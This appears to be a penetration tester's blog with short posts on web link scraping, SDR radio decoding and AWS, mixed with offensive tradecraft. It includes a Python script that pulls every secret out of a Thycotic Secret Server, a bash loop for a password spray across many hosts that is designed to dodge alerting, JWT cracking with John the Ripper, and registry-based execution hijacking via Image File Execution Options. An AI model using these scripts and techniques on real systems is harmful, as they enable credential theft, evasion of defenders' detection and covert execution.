Wednesday, February 12, 2020

A Better, More Modern, HTML Link Grabber

Lots of examples of HTML <a> link grabbers simply parse the source code of the page for a links and output that. I'm sure I don't need to say that technique is antiquated and doesn't really work that well with modern web applications and front-end frameworks. Everybody and their mother just loves modifying HTML using javascript. The old method would miss that stuff badly.

Take the following HTML file for example:

<html>
    <head>
        <body>
            <a href="http://example.com/plain-html-a-link">html-link</a>
            <a id=jsalink href=placeholder>jsalink</a>
        <script>
            var jslink = document.getElementById("jsalink")
            jslink.href = "http://example.com/js_a_link"
        </script>
        </body>
    </head>
</html>

There are obviously two A links there, but one of them is being modified by JS. This dynamic modification of elements is extremely common today. So what happens if you use the old method of getting A links?

$ curl localhost:8000/jsalink.html 2>/dev/null | grep '<a'
            <a href="http://example.com/plain-html-a-link">html-link</a>
            <a id=jsalink href=placeholder>jsalink</a>

Well that obviously didn't work... How about using the BeautifulSoup python module?

$ python3 atu-getlinks.py http://localhost:8000/jsalink.html
http://example.com/plain-html-a-link
http://localhost:8000/placeholder

Also no...The best way i've found to do it is to actually have a browser engine parse the entire file and execute the JS, and then grab all the a links by issuing a command to the JS interpreter. I wrote the following script to do exactly that. It uses the Chrome browser in headless mode to perform all the parsing, and then via selenium, issues a JS statement to grab all the A links:


Running this results in:

$ python3 selenium-getlinks.py http://localhost:8000/jsalink.html
http://example.com/plain-html-a-link
http://example.com/js_a_link

That's more like it.

PS. This is still not "perfect" since certain frameworks will change content via certain event handlers. This handles some (e.g. DOMContentLoaded), but not others (e.g. onclick events). You kinda just have to deal with that. Making a script to identify changes based on all event handlers would likely be extremely risky.

Thursday, December 12, 2019

Pillage Thycotic Secret Server

If you want to grab all the secrets from Thycotic's secret server, use the SOAP API to pull them out. Assuming you have valid domain creds, run the following script.


#!/usr/bin/env python3
from zeep import Client

#Connect to the soap api endpoint
client = Client("https://secretserver.example.com/SecretServer/webservices/SSWebservice.asmx?wsdl")
#grab your auth token for all your requests
token = client.service.Authenticate("user_here", "pass_here", "", "domain_here")
#grab all secrets for the user
searchSecret = client.service.SearchSecrets(token.Token, "*")
#output the secret values for each secret
for secret in searchSecret.SecretSummaries.SecretSummary:
     print(client.service.GetSecret(token.Token, secret['SecretId']))

Tuesday, December 10, 2019

Round Robin SMB Auth

Password sprays are very noisy internally. If the target has any sort of alerting in place, they'll see the spray light up their dashboard like a christmas tree. However, often times the alerts are only set up to count failed logins from a single IP. Spread out the auth and you may skirt around their detections:

Instead of throwing your auth attempts at one IP, throw them at many:

username_file=/root/users.txt
targets_file=/root/windows-hosts.txt
how_deep_to_go=2000

for index in $(seq 1 ${how_deep_to_go}); do
    username=$(sed -n ${index}p ${username_file})
    target=$(sed -n ${index}p ${targets_file})
    echo "smbclient -U mydomainhere/${username}%Welcome1 -L //${target}"
    smbclient -U mydomainhere/${username}%Welcome1 -L //${target}
done | tee smb-round-robin.out

Wednesday, December 4, 2019

Blacklist IPs Without Caring

Clients often give out a blacklist of IPs to not touch in an environment. Manually handling that in all the for loops and parsing can be a complete nightmare. It's way easier to make your box simply never speak to those blacklisted IPs at all, regardless of what commands you run. You can do this by implementing the blacklist within iptables.

Place the blacklist IPs or CIDRs in a file called "ip-blacklist.txt". Then go ahead and run the following line to import them into iptables.

cat ip-blacklist.txt | xargs -I {} iptables -A OUTPUT -d {} -j DROP

You could easily modify that so you blacklist TCP/UDP ports, or whatever else iptables supports.

Wednesday, November 20, 2019

Crack JWTs with JohnTheRipper

Very simple, just paste your entire JWT into a text file like this one from WebGoat:

cat > webgoat-jwt.txt
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTU3NDI3MDQ4MywiZXhwIjoxNTc0MjcwNTQzLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.zHaIM_ARkDQfNV4jwOYYorKFbcesj6WjgoVj-Z-0XiM

Run with JTR:
$ ./john webgoat-jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:./password.lst
shipping         (?)
1g 0:00:00:00 DONE 2/3 (2019-11-20 10:56) 16.66g/s 2517Kp/s 2517Kc/s 2517KC/s christophing..Bluebirded
Use the "--show" option to display all of the cracked passwords reliably
Session completed

To use, just echo the password ("shipping" in this case) into webgoat-jwt-cracked.txt and import that as the "secret" file to the JSON Web Tokens Burp plugin:
https://github.com/portswigger/json-web-tokens

Tuesday, August 20, 2019

Send text message via AWS

Assuming you've already done "aws configure"

aws sns publish --phone-number 11231234 --message "a thing happened"

Thursday, July 25, 2019

Windows Override Command Execution (Image File Execution Options)

When you run a command at the windows cmd prompt, such as schtasks.exe, klist.exe, driverquery.exe, etc, Windows searches a registry setting for default options to execute the file. 


The location is:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<nameOfEXE>

Oddly, Windows checks the same registry key regardless of where it actually found the exe or who is executing it. 

If you create a registry entry at the right spot with the "Debugger" string you can make it execute another program instead:

I feel like this could be handy in a situation where you can edit the registry but file integrity prevents you from modifying files on disk. You can kind of stitch execution together to somewhere you control.

Wednesday, July 10, 2019

Calculate proper length of antenna for better signal

To increase signal quality, make sure the antenna length matches the frequency you are receiving at. I've had a 20-40 db increase in signal just by extending or retracting my antenna a couple of inches. A simple process is this:

  1. Have on hand a ruler with centimeter markings (I use a retractable tailor tape measure)
  2. Open your calculator and do 300 / your_frequency (in mhz) = wavelength
  3. wavelength / 2 = how many meters long a half wave dipole would be. If this is too long, divide by 2 again to get the length of a quaterwave dipole in meters.
  4. Extend the length of your antenna (I use ANT500s from my SDRs) to one of those lengths using your ruler. You should prefer half wave, but quarter wave is fine too.
For example, I'm listening on the national calling frequency for APRS (144.390) i'd do the following:
  1. 300 / 144 = 2.08
  2. 2.08 / 2 = 1.04 (half wave dipole length, way too long for my ANT500)
  3. 1.04 / 2 = 0.52 (quarter wave dipole, 52 centimeters can be done easily)
  4. Measure out 52 centimeters on the tape measure, use it as a guide to extend the antenna to the proper height.

How to loopback audio from one app to another for SDR

Piping the decoded audio from one application to another can be super annoying in linux. Fortunately there is a utility in apt that makes it dead easy (at least on Ubuntu). Simple steps:

  • apt install pavucontrol
  • start your applications (gqrx/fldigi/direwolf/whatever)
  • execute pavucontrol
  • In the "Playback" tab, make sure your "output" app is showing up and bouncing the sound meter
  • In the "Recording" tab, make sure your "receiving" app is showing up. Click the sound card button and select the "monitor" entry
  • Should start working immediately.
For FLDIGI to show up it needs to start recording from the sound card, I had to go to Configure > Sound Card > Audio > Devices > select "PortAudio" > leave capture and playback at "default"

Decoding APRS via SDR

APRS uses packet radio and FLDIGI doesnt support it for some ungodly reason. You can chain a few tools together to get the decoded output.


  1. Plug in and attach your RTLSDR, or whatever, to your VM
  2. start up GQRX, start receiving
  3. Tune to 144.390 to get an APRS signal (North American calling freq for APRS)
  4. Set the following: 
    • Filter Width: Wide
    • Filter Shape: Sharp
    • Mode: Narrow FM
    • AGC: Fast
    • set the squelch to silence the noise
  5. In the audio section, hit the "UDP" button which should start streaming the audio over UDP port 7355.
  6. In another tab: apt install direwolf
  7. direwolf -r 48000 udp:7355
You should get output like below: